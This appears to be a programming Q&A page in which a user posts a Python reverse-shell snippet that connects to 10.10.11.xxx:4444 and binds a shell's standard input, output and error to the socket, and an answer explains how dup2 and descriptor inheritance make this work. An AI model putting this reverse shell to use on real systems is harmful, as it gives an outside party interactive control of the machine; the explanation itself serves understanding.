Search code examples
pythonsocketsfile-descriptorreverse-shell

Understanding how file descriptos in Python work


So I have found a following code for reverse shell in python

import socket, subprocess, os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("10.10.11.xxx",4444))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p = subprocess.call(["/bin/sh","-i"])

This code basically opens a reverse connection to some remote listener under "10.10.11.xxx".

I do not how the input/output from subprocess call is transferred to socket via file descriptors.

Everything else until that is clear:

  1. Socket is created
  2. Conenction is established
  3. socket file descriptors get copied into standard file descriptors using dup2()

But I do not get it how does the system know that it needs to pipe data to those sockets.

Thanks!


Solution

  • That's what os.dup2() does.

    os.dup2(s.fileno(), 0)
    

    makes file descriptor 0 refer to the socket. FD 0 is standard input, so when the shell reads its input, it will read from the socket.

    os.dup2(s.fileno(), 1)
    

    makes file descriptor 1 refer to the socket. FD 1 is standard output, so when the shell prints something, it will be sent to the socket.

    FD 2 is standard error, so error messages will also be written to the socket.

    All these descriptors will be inherited by child processes that the shell spawns, so programs that are run from the reverse shell will read and write the socket.